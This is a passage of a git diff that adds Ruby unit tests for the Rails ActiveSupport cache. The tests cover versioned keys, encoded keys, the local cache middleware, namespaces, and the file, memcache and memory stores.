+    m1v2 = ModelWithKeyAndVersion.new("model/1", 2)
+
+    @cache.write([ "something", m1v1 ], "bar")
+    assert_equal "bar", @cache.read([ "something", m1v1 ])
+    assert_nil @cache.read([ "something", m1v2 ])
+  end
+
+  def test_fetching_with_model_supporting_cache_version
+    m1v1 = ModelWithKeyAndVersion.new("model/1", 1)
+    m1v2 = ModelWithKeyAndVersion.new("model/1", 2)
+
+    @cache.fetch(m1v1) { "bar" }
+    assert_equal "bar", @cache.fetch(m1v1) { "bu" }
+    assert_equal "bu", @cache.fetch(m1v2) { "bu" }
+  end
+
+  def test_exist_with_model_supporting_cache_version
+    m1v1 = ModelWithKeyAndVersion.new("model/1", 1)
+    m1v2 = ModelWithKeyAndVersion.new("model/1", 2)
+
+    @cache.write(m1v1, "bar")
+    assert     @cache.exist?(m1v1)
+    assert_not @cache.fetch(m1v2)
+  end
+
+  def test_fetch_multi_with_model_supporting_cache_version
+    m1v1 = ModelWithKeyAndVersion.new("model/1", 1)
+    m2v1 = ModelWithKeyAndVersion.new("model/2", 1)
+    m2v2 = ModelWithKeyAndVersion.new("model/2", 2)
+
+    first_fetch_values  = @cache.fetch_multi(m1v1, m2v1) { |m| m.cache_key }
+    second_fetch_values = @cache.fetch_multi(m1v1, m2v2) { |m| m.cache_key + " 2nd" }
+
+    assert_equal({ m1v1 => "model/1", m2v1 => "model/2" }, first_fetch_values)
+    assert_equal({ m1v1 => "model/1", m2v2 => "model/2 2nd" }, second_fetch_values)
+  end
+
+  def test_version_is_normalized
+    @cache.write("foo", "bar", version: 1)
+    assert_equal "bar", @cache.read("foo", version: "1")
+  end
+end
diff --git a/activesupport/test/cache/behaviors/encoded_key_cache_behavior.rb b/activesupport/test/cache/behaviors/encoded_key_cache_behavior.rb
new file mode 100644
index 0000000000..da16142496
--- /dev/null
+++ b/activesupport/test/cache/behaviors/encoded_key_cache_behavior.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+# https://rails.lighthouseapp.com/projects/8994/tickets/6225-memcachestore-cant-deal-with-umlauts-and-special-characters
+# The error is caused by character encodings that can't be compared with ASCII-8BIT regular expressions and by special
+# characters like the umlaut in UTF-8.
+module EncodedKeyCacheBehavior
+  Encoding.list.each do |encoding|
+    define_method "test_#{encoding.name.underscore}_encoded_values" do
+      key = "foo".dup.force_encoding(encoding)
+      assert @cache.write(key, "1", raw: true)
+      assert_equal "1", @cache.read(key)
+      assert_equal "1", @cache.fetch(key)
+      assert @cache.delete(key)
+      assert_equal "2", @cache.fetch(key, raw: true) { "2" }
+      assert_equal 3, @cache.increment(key)
+      assert_equal 2, @cache.decrement(key)
+    end
+  end
+
+  def test_common_utf8_values
+    key = "\xC3\xBCmlaut".dup.force_encoding(Encoding::UTF_8)
+    assert @cache.write(key, "1", raw: true)
+    assert_equal "1", @cache.read(key)
+    assert_equal "1", @cache.fetch(key)
+    assert @cache.delete(key)
+    assert_equal "2", @cache.fetch(key, raw: true) { "2" }
+    assert_equal 3, @cache.increment(key)
+    assert_equal 2, @cache.decrement(key)
+  end
+
+  def test_retains_encoding
+    key = "\xC3\xBCmlaut".dup.force_encoding(Encoding::UTF_8)
+    assert @cache.write(key, "1", raw: true)
+    assert_equal Encoding::UTF_8, key.encoding
+  end
+end
diff --git a/activesupport/test/cache/behaviors/local_cache_behavior.rb b/activesupport/test/cache/behaviors/local_cache_behavior.rb
new file mode 100644
index 0000000000..8dec8090b1
--- /dev/null
+++ b/activesupport/test/cache/behaviors/local_cache_behavior.rb
@@ -0,0 +1,128 @@
+# frozen_string_literal: true
+
+module LocalCacheBehavior
+  def test_local_writes_are_persistent_on_the_remote_cache
+    retval = @cache.with_local_cache do
+      @cache.write("foo", "bar")
+    end
+    assert retval
+    assert_equal "bar", @cache.read("foo")
+  end
+
+  def test_clear_also_clears_local_cache
+    @cache.with_local_cache do
+      @cache.write("foo", "bar")
+      @cache.clear
+      assert_nil @cache.read("foo")
+    end
+
+    assert_nil @cache.read("foo")
+  end
+
+  def test_cleanup_clears_local_cache_but_not_remote_cache
+    skip unless @cache.class.instance_methods(false).include?(:cleanup)
+
+    @cache.with_local_cache do
+      @cache.write("foo", "bar")
+      assert_equal "bar", @cache.read("foo")
+
+      @cache.send(:bypass_local_cache) { @cache.write("foo", "baz") }
+      assert_equal "bar", @cache.read("foo")
+
+      @cache.cleanup
+      assert_equal "baz", @cache.read("foo")
+    end
+  end
+
+  def test_local_cache_of_write
+    @cache.with_local_cache do
+      @cache.write("foo", "bar")
+      @peek.delete("foo")
+      assert_equal "bar", @cache.read("foo")
+    end
+  end
+
+  def test_local_cache_of_read
+    @cache.write("foo", "bar")
+    @cache.with_local_cache do
+      assert_equal "bar", @cache.read("foo")
+    end
+  end
+
+  def test_local_cache_of_read_nil
+    @cache.with_local_cache do
+      assert_nil @cache.read("foo")
+      @cache.send(:bypass_local_cache) { @cache.write "foo", "bar" }
+      assert_nil @cache.read("foo")
+    end
+  end
+
+  def test_local_cache_fetch
+    @cache.with_local_cache do
+      @cache.send(:local_cache).write "foo", "bar"
+      assert_equal "bar", @cache.send(:local_cache).fetch("foo")
+    end
+  end
+
+  def test_local_cache_of_write_nil
+    @cache.with_local_cache do
+      assert @cache.write("foo", nil)
+      assert_nil @cache.read("foo")
+      @peek.write("foo", "bar")
+      assert_nil @cache.read("foo")
+    end
+  end
+
+  def test_local_cache_of_write_with_unless_exist
+    @cache.with_local_cache do
+      @cache.write("foo", "bar")
+      @cache.write("foo", "baz", unless_exist: true)
+      assert_equal @peek.read("foo"), @cache.read("foo")
+    end
+  end
+
+  def test_local_cache_of_delete
+    @cache.with_local_cache do
+      @cache.write("foo", "bar")
+      @cache.delete("foo")
+      assert_nil @cache.read("foo")
+    end
+  end
+
+  def test_local_cache_of_exist
+    @cache.with_local_cache do
+      @cache.write("foo", "bar")
+      @peek.delete("foo")
+      assert @cache.exist?("foo")
+    end
+  end
+
+  def test_local_cache_of_increment
+    @cache.with_local_cache do
+      @cache.write("foo", 1, raw: true)
+      @peek.write("foo", 2, raw: true)
+      @cache.increment("foo")
+      assert_equal 3, @cache.read("foo")
+    end
+  end
+
+  def test_local_cache_of_decrement
+    @cache.with_local_cache do
+      @cache.write("foo", 1, raw: true)
+      @peek.write("foo", 3, raw: true)
+      @cache.decrement("foo")
+      assert_equal 2, @cache.read("foo")
+    end
+  end
+
+  def test_middleware
+    app = lambda { |env|
+      result = @cache.write("foo", "bar")
+      assert_equal "bar", @cache.read("foo") # make sure 'foo' was written
+      assert result
+      [200, {}, []]
+    }
+    app = @cache.middleware.new(app)
+    app.call({})
+  end
+end
diff --git a/activesupport/test/cache/cache_entry_test.rb b/activesupport/test/cache/cache_entry_test.rb
new file mode 100644
index 0000000000..51b214ad8f
--- /dev/null
+++ b/activesupport/test/cache/cache_entry_test.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/cache"
+
+class CacheEntryTest < ActiveSupport::TestCase
+  def test_expired
+    entry = ActiveSupport::Cache::Entry.new("value")
+    assert !entry.expired?, "entry not expired"
+    entry = ActiveSupport::Cache::Entry.new("value", expires_in: 60)
+    assert !entry.expired?, "entry not expired"
+    Time.stub(:now, Time.now + 61) do
+      assert entry.expired?, "entry is expired"
+    end
+  end
+
+  def test_compress_values
+    value = "value" * 100
+    entry = ActiveSupport::Cache::Entry.new(value, compress: true, compress_threshold: 1)
+    assert_equal value, entry.value
+    assert(value.bytesize > entry.size, "value is compressed")
+  end
+
+  def test_non_compress_values
+    value = "value" * 100
+    entry = ActiveSupport::Cache::Entry.new(value)
+    assert_equal value, entry.value
+    assert_equal value.bytesize, entry.size
+  end
+end
diff --git a/activesupport/test/cache/cache_key_test.rb b/activesupport/test/cache/cache_key_test.rb
new file mode 100644
index 0000000000..84e656f504
--- /dev/null
+++ b/activesupport/test/cache/cache_key_test.rb
@@ -0,0 +1,90 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/cache"
+
+class CacheKeyTest < ActiveSupport::TestCase
+  def test_entry_legacy_optional_ivars
+    legacy = Class.new(ActiveSupport::Cache::Entry) do
+      def initialize(value, options = {})
+        @value = value
+        @expires_in = nil
+        @created_at = nil
+        super
+      end
+    end
+
+    entry = legacy.new "foo"
+    assert_equal "foo", entry.value
+  end
+
+  def test_expand_cache_key
+    assert_equal "1/2/true", ActiveSupport::Cache.expand_cache_key([1, "2", true])
+    assert_equal "name/1/2/true", ActiveSupport::Cache.expand_cache_key([1, "2", true], :name)
+  end
+
+  def test_expand_cache_key_with_rails_cache_id
+    with_env("RAILS_CACHE_ID" => "c99") do
+      assert_equal "c99/foo", ActiveSupport::Cache.expand_cache_key(:foo)
+      assert_equal "c99/foo", ActiveSupport::Cache.expand_cache_key([:foo])
+      assert_equal "c99/foo/bar", ActiveSupport::Cache.expand_cache_key([:foo, :bar])
+      assert_equal "nm/c99/foo", ActiveSupport::Cache.expand_cache_key(:foo, :nm)
+      assert_equal "nm/c99/foo", ActiveSupport::Cache.expand_cache_key([:foo], :nm)
+      assert_equal "nm/c99/foo/bar", ActiveSupport::Cache.expand_cache_key([:foo, :bar], :nm)
+    end
+  end
+
+  def test_expand_cache_key_with_rails_app_version
+    with_env("RAILS_APP_VERSION" => "rails3") do
+      assert_equal "rails3/foo", ActiveSupport::Cache.expand_cache_key(:foo)
+    end
+  end
+
+  def test_expand_cache_key_rails_cache_id_should_win_over_rails_app_version
+    with_env("RAILS_CACHE_ID" => "c99", "RAILS_APP_VERSION" => "rails3") do
+      assert_equal "c99/foo", ActiveSupport::Cache.expand_cache_key(:foo)
+    end
+  end
+
+  def test_expand_cache_key_respond_to_cache_key
+    key = "foo".dup
+    def key.cache_key
+      :foo_key
+    end
+    assert_equal "foo_key", ActiveSupport::Cache.expand_cache_key(key)
+  end
+
+  def test_expand_cache_key_array_with_something_that_responds_to_cache_key
+    key = "foo".dup
+    def key.cache_key
+      :foo_key
+    end
+    assert_equal "foo_key", ActiveSupport::Cache.expand_cache_key([key])
+  end
+
+  def test_expand_cache_key_of_nil
+    assert_equal "", ActiveSupport::Cache.expand_cache_key(nil)
+  end
+
+  def test_expand_cache_key_of_false
+    assert_equal "false", ActiveSupport::Cache.expand_cache_key(false)
+  end
+
+  def test_expand_cache_key_of_true
+    assert_equal "true", ActiveSupport::Cache.expand_cache_key(true)
+  end
+
+  def test_expand_cache_key_of_array_like_object
+    assert_equal "foo/bar/baz", ActiveSupport::Cache.expand_cache_key(%w{foo bar baz}.to_enum)
+  end
+
+  private
+
+    def with_env(kv)
+      old_values = {}
+      kv.each { |key, value| old_values[key], ENV[key] = ENV[key], value }
+      yield
+    ensure
+      old_values.each { |key, value| ENV[key] = value }
+    end
+end
diff --git a/activesupport/test/cache/cache_store_logger_test.rb b/activesupport/test/cache/cache_store_logger_test.rb
new file mode 100644
index 0000000000..1af6893cc9
--- /dev/null
+++ b/activesupport/test/cache/cache_store_logger_test.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/cache"
+
+class CacheStoreLoggerTest < ActiveSupport::TestCase
+  def setup
+    @cache = ActiveSupport::Cache.lookup_store(:memory_store)
+
+    @buffer = StringIO.new
+    @cache.logger = ActiveSupport::Logger.new(@buffer)
+  end
+
+  def test_logging
+    @cache.fetch("foo") { "bar" }
+    assert @buffer.string.present?
+  end
+
+  def test_log_with_string_namespace
+    @cache.fetch("foo", namespace: "string_namespace") { "bar" }
+    assert_match %r{string_namespace:foo}, @buffer.string
+  end
+
+  def test_log_with_proc_namespace
+    proc = Proc.new do
+      "proc_namespace"
+    end
+    @cache.fetch("foo", namespace: proc) { "bar" }
+    assert_match %r{proc_namespace:foo}, @buffer.string
+  end
+
+  def test_mute_logging
+    @cache.mute { @cache.fetch("foo") { "bar" } }
+    assert @buffer.string.blank?
+  end
+end
diff --git a/activesupport/test/cache/cache_store_namespace_test.rb b/activesupport/test/cache/cache_store_namespace_test.rb
new file mode 100644
index 0000000000..b52a61c500
--- /dev/null
+++ b/activesupport/test/cache/cache_store_namespace_test.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/cache"
+
+class CacheStoreNamespaceTest < ActiveSupport::TestCase
+  def test_static_namespace
+    cache = ActiveSupport::Cache.lookup_store(:memory_store, namespace: "tester")
+    cache.write("foo", "bar")
+    assert_equal "bar", cache.read("foo")
+    assert_equal "bar", cache.instance_variable_get(:@data)["tester:foo"].value
+  end
+
+  def test_proc_namespace
+    test_val = "tester"
+    proc = lambda { test_val }
+    cache = ActiveSupport::Cache.lookup_store(:memory_store, namespace: proc)
+    cache.write("foo", "bar")
+    assert_equal "bar", cache.read("foo")
+    assert_equal "bar", cache.instance_variable_get(:@data)["tester:foo"].value
+  end
+
+  def test_delete_matched_key_start
+    cache = ActiveSupport::Cache.lookup_store(:memory_store, namespace: "tester")
+    cache.write("foo", "bar")
+    cache.write("fu", "baz")
+    cache.delete_matched(/^fo/)
+    assert !cache.exist?("foo")
+    assert cache.exist?("fu")
+  end
+
+  def test_delete_matched_key
+    cache = ActiveSupport::Cache.lookup_store(:memory_store, namespace: "foo")
+    cache.write("foo", "bar")
+    cache.write("fu", "baz")
+    cache.delete_matched(/OO/i)
+    assert !cache.exist?("foo")
+    assert cache.exist?("fu")
+  end
+end
diff --git a/activesupport/test/cache/cache_store_setting_test.rb b/activesupport/test/cache/cache_store_setting_test.rb
new file mode 100644
index 0000000000..368cb39f97
--- /dev/null
+++ b/activesupport/test/cache/cache_store_setting_test.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/cache"
+require "dalli"
+
+class CacheStoreSettingTest < ActiveSupport::TestCase
+  def test_memory_store_gets_created_if_no_arguments_passed_to_lookup_store_method
+    store = ActiveSupport::Cache.lookup_store
+    assert_kind_of(ActiveSupport::Cache::MemoryStore, store)
+  end
+
+  def test_memory_store
+    store = ActiveSupport::Cache.lookup_store :memory_store
+    assert_kind_of(ActiveSupport::Cache::MemoryStore, store)
+  end
+
+  def test_file_fragment_cache_store
+    store = ActiveSupport::Cache.lookup_store :file_store, "/path/to/cache/directory"
+    assert_kind_of(ActiveSupport::Cache::FileStore, store)
+    assert_equal "/path/to/cache/directory", store.cache_path
+  end
+
+  def test_mem_cache_fragment_cache_store
+    assert_called_with(Dalli::Client, :new, [%w[localhost], {}]) do
+      store = ActiveSupport::Cache.lookup_store :mem_cache_store, "localhost"
+      assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
+    end
+  end
+
+  def test_mem_cache_fragment_cache_store_with_given_mem_cache
+    mem_cache = Dalli::Client.new
+    assert_not_called(Dalli::Client, :new) do
+      store = ActiveSupport::Cache.lookup_store :mem_cache_store, mem_cache
+      assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
+    end
+  end
+
+  def test_mem_cache_fragment_cache_store_with_not_dalli_client
+    assert_not_called(Dalli::Client, :new) do
+      memcache = Object.new
+      assert_raises(ArgumentError) do
+        ActiveSupport::Cache.lookup_store :mem_cache_store, memcache
+      end
+    end
+  end
+
+  def test_mem_cache_fragment_cache_store_with_multiple_servers
+    assert_called_with(Dalli::Client, :new, [%w[localhost 192.168.1.1], {}]) do
+      store = ActiveSupport::Cache.lookup_store :mem_cache_store, "localhost", "192.168.1.1"
+      assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
+    end
+  end
+
+  def test_mem_cache_fragment_cache_store_with_options
+    assert_called_with(Dalli::Client, :new, [%w[localhost 192.168.1.1], { timeout: 10 }]) do
+      store = ActiveSupport::Cache.lookup_store :mem_cache_store, "localhost", "192.168.1.1", namespace: "foo", timeout: 10
+      assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
+      assert_equal "foo", store.options[:namespace]
+    end
+  end
+
+  def test_object_assigned_fragment_cache_store
+    store = ActiveSupport::Cache.lookup_store ActiveSupport::Cache::FileStore.new("/path/to/cache/directory")
+    assert_kind_of(ActiveSupport::Cache::FileStore, store)
+    assert_equal "/path/to/cache/directory", store.cache_path
+  end
+end
diff --git a/activesupport/test/cache/cache_store_write_multi_test.rb b/activesupport/test/cache/cache_store_write_multi_test.rb
new file mode 100644
index 0000000000..5b6fd678c5
--- /dev/null
+++ b/activesupport/test/cache/cache_store_write_multi_test.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/cache"
+
+class CacheStoreWriteMultiEntriesStoreProviderInterfaceTest < ActiveSupport::TestCase
+  setup do
+    @cache = ActiveSupport::Cache.lookup_store(:null_store)
+  end
+
+  test "fetch_multi uses write_multi_entries store provider interface" do
+    assert_called_with(@cache, :write_multi_entries) do
+      @cache.fetch_multi "a", "b", "c" do |key|
+        key * 2
+      end
+    end
+  end
+end
+
+class CacheStoreWriteMultiInstrumentationTest < ActiveSupport::TestCase
+  setup do
+    @cache = ActiveSupport::Cache.lookup_store(:null_store)
+  end
+
+  test "instrumentation" do
+    writes = { "a" => "aa", "b" => "bb" }
+
+    events = with_instrumentation "write_multi" do
+      @cache.write_multi(writes)
+    end
+
+    assert_equal %w[ cache_write_multi.active_support ], events.map(&:name)
+    assert_nil events[0].payload[:super_operation]
+    assert_equal({ "a" => "aa", "b" => "bb" }, events[0].payload[:key])
+  end
+
+  test "instrumentation with fetch_multi as super operation" do
+    skip "fetch_multi isn't instrumented yet"
+
+    events = with_instrumentation "write_multi" do
+      @cache.fetch_multi("a", "b") { |key| key * 2 }
+    end
+
+    assert_equal %w[ cache_write_multi.active_support ], events.map(&:name)
+    assert_nil events[0].payload[:super_operation]
+    assert !events[0].payload[:hit]
+  end
+
+  private
+    def with_instrumentation(method)
+      event_name = "cache_#{method}.active_support"
+
+      [].tap do |events|
+        ActiveSupport::Notifications.subscribe event_name do |*args|
+          events << ActiveSupport::Notifications::Event.new(*args)
+        end
+        yield
+      end
+    ensure
+      ActiveSupport::Notifications.unsubscribe event_name
+    end
+end
diff --git a/activesupport/test/cache/local_cache_middleware_test.rb b/activesupport/test/cache/local_cache_middleware_test.rb
new file mode 100644
index 0000000000..e59fae0b4c
--- /dev/null
+++ b/activesupport/test/cache/local_cache_middleware_test.rb
@@ -0,0 +1,63 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/cache"
+
+module ActiveSupport
+  module Cache
+    module Strategy
+      module LocalCache
+        class MiddlewareTest < ActiveSupport::TestCase
+          def test_local_cache_cleared_on_close
+            key = "super awesome key"
+            assert_nil LocalCacheRegistry.cache_for key
+            middleware = Middleware.new("<3", key).new(->(env) {
+              assert LocalCacheRegistry.cache_for(key), "should have a cache"
+              [200, {}, []]
+            })
+            _, _, body = middleware.call({})
+            assert LocalCacheRegistry.cache_for(key), "should still have a cache"
+            body.each {}
+            assert LocalCacheRegistry.cache_for(key), "should still have a cache"
+            body.close
+            assert_nil LocalCacheRegistry.cache_for(key)
+          end
+
+          def test_local_cache_cleared_and_response_should_be_present_on_invalid_parameters_error
+            key = "super awesome key"
+            assert_nil LocalCacheRegistry.cache_for key
+            middleware = Middleware.new("<3", key).new(->(env) {
+              assert LocalCacheRegistry.cache_for(key), "should have a cache"
+              raise Rack::Utils::InvalidParameterError
+            })
+            response = middleware.call({})
+            assert response, "response should exist"
+            assert_nil LocalCacheRegistry.cache_for(key)
+          end
+
+          def test_local_cache_cleared_on_exception
+            key = "super awesome key"
+            assert_nil LocalCacheRegistry.cache_for key
+            middleware = Middleware.new("<3", key).new(->(env) {
+              assert LocalCacheRegistry.cache_for(key), "should have a cache"
+              raise
+            })
+            assert_raises(RuntimeError) { middleware.call({}) }
+            assert_nil LocalCacheRegistry.cache_for(key)
+          end
+
+          def test_local_cache_cleared_on_throw
+            key = "super awesome key"
+            assert_nil LocalCacheRegistry.cache_for key
+            middleware = Middleware.new("<3", key).new(->(env) {
+              assert LocalCacheRegistry.cache_for(key), "should have a cache"
+              throw :warden
+            })
+            assert_throws(:warden) { middleware.call({}) }
+            assert_nil LocalCacheRegistry.cache_for(key)
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activesupport/test/cache/stores/file_store_test.rb b/activesupport/test/cache/stores/file_store_test.rb
new file mode 100644
index 0000000000..391ab60b3a
--- /dev/null
+++ b/activesupport/test/cache/stores/file_store_test.rb
@@ -0,0 +1,130 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/cache"
+require_relative "../behaviors"
+require "pathname"
+
+class FileStoreTest < ActiveSupport::TestCase
+  def setup
+    Dir.mkdir(cache_dir) unless File.exist?(cache_dir)
+    @cache = ActiveSupport::Cache.lookup_store(:file_store, cache_dir, expires_in: 60)
+    @peek = ActiveSupport::Cache.lookup_store(:file_store, cache_dir, expires_in: 60)
+    @cache_with_pathname = ActiveSupport::Cache.lookup_store(:file_store, Pathname.new(cache_dir), expires_in: 60)
+
+    @buffer = StringIO.new
+    @cache.logger = ActiveSupport::Logger.new(@buffer)
+  end
+
+  def teardown
+    FileUtils.rm_r(cache_dir)
+  rescue Errno::ENOENT
+  end
+
+  def cache_dir
+    File.join(Dir.pwd, "tmp_cache")
+  end
+
+  include CacheStoreBehavior
+  include CacheStoreVersionBehavior
+  include LocalCacheBehavior
+  include CacheDeleteMatchedBehavior
+  include CacheIncrementDecrementBehavior
+  include AutoloadingCacheBehavior
+
+  def test_clear
+    gitkeep = File.join(cache_dir, ".gitkeep")
+    keep = File.join(cache_dir, ".keep")
+    FileUtils.touch([gitkeep, keep])
+    @cache.clear
+    assert File.exist?(gitkeep)
+    assert File.exist?(keep)
+  end
+
+  def test_clear_without_cache_dir
+    FileUtils.rm_r(cache_dir)
+    @cache.clear
+  end
+
+  def test_long_uri_encoded_keys
+    @cache.write("%" * 870, 1)
+    assert_equal 1, @cache.read("%" * 870)
+  end
+
+  def test_key_transformation
+    key = @cache.send(:normalize_key, "views/index?id=1", {})
+    assert_equal "views/index?id=1", @cache.send(:file_path_key, key)
+  end
+
+  def test_key_transformation_with_pathname
+    FileUtils.touch(File.join(cache_dir, "foo"))
+    key = @cache_with_pathname.send(:normalize_key, "views/index?id=1", {})
+    assert_equal "views/index?id=1", @cache_with_pathname.send(:file_path_key, key)
+  end
+
+  # Test that generated cache keys are short enough to have Tempfile stuff added to them and
+  # remain valid
+  def test_filename_max_size
+    key = "#{'A' * ActiveSupport::Cache::FileStore::FILENAME_MAX_SIZE}"
+    path = @cache.send(:normalize_key, key, {})
+    Dir::Tmpname.create(path) do |tmpname, n, opts|
+      assert File.basename(tmpname + ".lock").length <= 255, "Temp filename too long: #{File.basename(tmpname + '.lock').length}"
+    end
+  end
+
+  # Because file systems have a maximum filename size, filenames > max size should be split in to directories
+  # If filename is 'AAAAB', where max size is 4, the returned path should be AAAA/B
+  def test_key_transformation_max_filename_size
+    key = "#{'A' * ActiveSupport::Cache::FileStore::FILENAME_MAX_SIZE}B"
+    path = @cache.send(:normalize_key, key, {})
+    assert path.split("/").all? { |dir_name| dir_name.size <= ActiveSupport::Cache::FileStore::FILENAME_MAX_SIZE }
+    assert_equal "B", File.basename(path)
+  end
+
+  # If nothing has been stored in the cache, there is a chance the cache directory does not yet exist
+  # Ensure delete_matched gracefully handles this case
+  def test_delete_matched_when_cache_directory_does_not_exist
+    assert_nothing_raised do
+      ActiveSupport::Cache::FileStore.new("/test/cache/directory").delete_matched(/does_not_exist/)
+    end
+  end
+
+  def test_delete_does_not_delete_empty_parent_dir
+    sub_cache_dir = File.join(cache_dir, "subdir/")
+    sub_cache_store = ActiveSupport::Cache::FileStore.new(sub_cache_dir)
+    assert_nothing_raised do
+      assert sub_cache_store.write("foo", "bar")
+      assert sub_cache_store.delete("foo")
+    end
+    assert File.exist?(cache_dir), "Parent of top level cache dir was deleted!"
+    assert File.exist?(sub_cache_dir), "Top level cache dir was deleted!"
+    assert Dir.entries(sub_cache_dir).reject { |f| ActiveSupport::Cache::FileStore::EXCLUDED_DIRS.include?(f) }.empty?
+  end
+
+  def test_log_exception_when_cache_read_fails
+    File.stub(:exist?, -> { raise StandardError.new("failed") }) do
+      @cache.send(:read_entry, "winston", {})
+      assert @buffer.string.present?
+    end
+  end
+
+  def test_cleanup_removes_all_expired_entries
+    time = Time.now
+    @cache.write("foo", "bar", expires_in: 10)
+    @cache.write("baz", "qux")
+    @cache.write("quux", "corge", expires_in: 20)
+    Time.stub(:now, time + 15) do
+      @cache.cleanup
+      assert_not @cache.exist?("foo")
+      assert @cache.exist?("baz")
+      assert @cache.exist?("quux")
+    end
+  end
+
+  def test_write_with_unless_exist
+    assert_equal true, @cache.write(1, "aaaaaaaaaa")
+    assert_equal false, @cache.write(1, "aaaaaaaaaa", unless_exist: true)
+    @cache.write(1, nil)
+    assert_equal false, @cache.write(1, "aaaaaaaaaa", unless_exist: true)
+  end
+end
diff --git a/activesupport/test/cache/stores/mem_cache_store_test.rb b/activesupport/test/cache/stores/mem_cache_store_test.rb
new file mode 100644
index 0000000000..becc1f7fbf
--- /dev/null
+++ b/activesupport/test/cache/stores/mem_cache_store_test.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/cache"
+require_relative "../behaviors"
+require "dalli"
+
+class MemCacheStoreTest < ActiveSupport::TestCase
+  begin
+    ss = Dalli::Client.new("localhost:11211").stats
+    raise Dalli::DalliError unless ss["localhost:11211"]
+
+    MEMCACHE_UP = true
+  rescue Dalli::DalliError
+    $stderr.puts "Skipping memcached tests. Start memcached and try again."
+    MEMCACHE_UP = false
+  end
+
+  def setup
+    skip "memcache server is not up" unless MEMCACHE_UP
+
+    @cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, expires_in: 60)
+    @peek = ActiveSupport::Cache.lookup_store(:mem_cache_store)
+    @data = @cache.instance_variable_get(:@data)
+    @cache.clear
+    @cache.silence!
+    @cache.logger = ActiveSupport::Logger.new("/dev/null")
+  end
+
+  include CacheStoreBehavior
+  include CacheStoreVersionBehavior
+  include LocalCacheBehavior
+  include CacheIncrementDecrementBehavior
+  include EncodedKeyCacheBehavior
+  include AutoloadingCacheBehavior
+
+  def test_raw_values
+    cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, raw: true)
+    cache.clear
+    cache.write("foo", 2)
+    assert_equal "2", cache.read("foo")
+  end
+
+  def test_raw_values_with_marshal
+    cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, raw: true)
+    cache.clear
+    cache.write("foo", Marshal.dump([]))
+    assert_equal [], cache.read("foo")
+  end
+
+  def test_local_cache_raw_values
+    cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, raw: true)
+    cache.clear
+    cache.with_local_cache do
+      cache.write("foo", 2)
+      assert_equal "2", cache.read("foo")
+    end
+  end
+
+  def test_local_cache_raw_values_with_marshal
+    cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, raw: true)
+    cache.clear
+    cache.with_local_cache do
+      cache.write("foo", Marshal.dump([]))
+      assert_equal [], cache.read("foo")
+    end
+  end
+
+  def test_read_should_return_a_different_object_id_each_time_it_is_called
+    @cache.write("foo", "bar")
+    value = @cache.read("foo")
+    assert_not_equal value.object_id, @cache.read("foo").object_id
+    value << "bingo"
+    assert_not_equal value, @cache.read("foo")
+  end
+end
diff --git a/activesupport/test/cache/stores/memory_store_test.rb b/activesupport/test/cache/stores/memory_store_test.rb
new file mode 100644
index 0000000000..3981f05331
--- /dev/null
+++ b/activesupport/test/cache/stores/memory_store_test.rb
@@ -0,0 +1,109 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/cache"
+require_relative "../behaviors"
+
+class MemoryStoreTest < ActiveSupport::TestCase
+  def setup
+    @record_size = ActiveSupport::Cache.lookup_store(:memory_store).send(:cached_size, 1, ActiveSupport::Cache::Entry.new("aaaaaaaaaa"))
+    @cache = ActiveSupport::Cache.lookup_store(:memory_store, expires_in: 60, size: @record_size * 10 + 1)
+  end
+
+  include CacheStoreBehavior
+  include CacheStoreVersionBehavior
+  include CacheDeleteMatchedBehavior
+  include CacheIncrementDecrementBehavior
+
+  def test_prune_size
+    @cache.write(1, "aaaaaaaaaa") && sleep(0.001)
+    @cache.write(2, "bbbbbbbbbb") && sleep(0.001)
+    @cache.write(3, "cccccccccc") && sleep(0.001)
+    @cache.write(4, "dddddddddd") && sleep(0.001)
+    @cache.write(5, "eeeeeeeeee") && sleep(0.001)
+    @cache.read(2) && sleep(0.001)
+    @cache.read(4)
+    @cache.prune(@record_size * 3)
+    assert @cache.exist?(5)
+    assert @cache.exist?(4)
+    assert !@cache.exist?(3), "no entry"
+    assert @cache.exist?(2)
+    assert !@cache.exist?(1), "no entry"
+  end
+
+  def test_prune_size_on_write
+    @cache.write(1, "aaaaaaaaaa") && sleep(0.001)
+    @cache.write(2, "bbbbbbbbbb") && sleep(0.001)
+    @cache.write(3, "cccccccccc") && sleep(0.001)
+    @cache.write(4, "dddddddddd") && sleep(0.001)
+    @cache.write(5, "eeeeeeeeee") && sleep(0.001)
+    @cache.write(6, "ffffffffff") && sleep(0.001)
+    @cache.write(7, "gggggggggg") && sleep(0.001)
+    @cache.write(8, "hhhhhhhhhh") && sleep(0.001)
+    @cache.write(9, "iiiiiiiiii") && sleep(0.001)
+    @cache.write(10, "kkkkkkkkkk") && sleep(0.001)
+    @cache.read(2) && sleep(0.001)
+    @cache.read(4) && sleep(0.001)
+    @cache.write(11, "llllllllll")
+    assert @cache.exist?(11)
+    assert @cache.exist?(10)
+    assert @cache.exist?(9)
+    assert @cache.exist?(8)
+    assert @cache.exist?(7)
+    assert !@cache.exist?(6), "no entry"
+    assert !@cache.exist?(5), "no entry"
+    assert @cache.exist?(4)
+    assert !@cache.exist?(3), "no entry"
+    assert @cache.exist?(2)
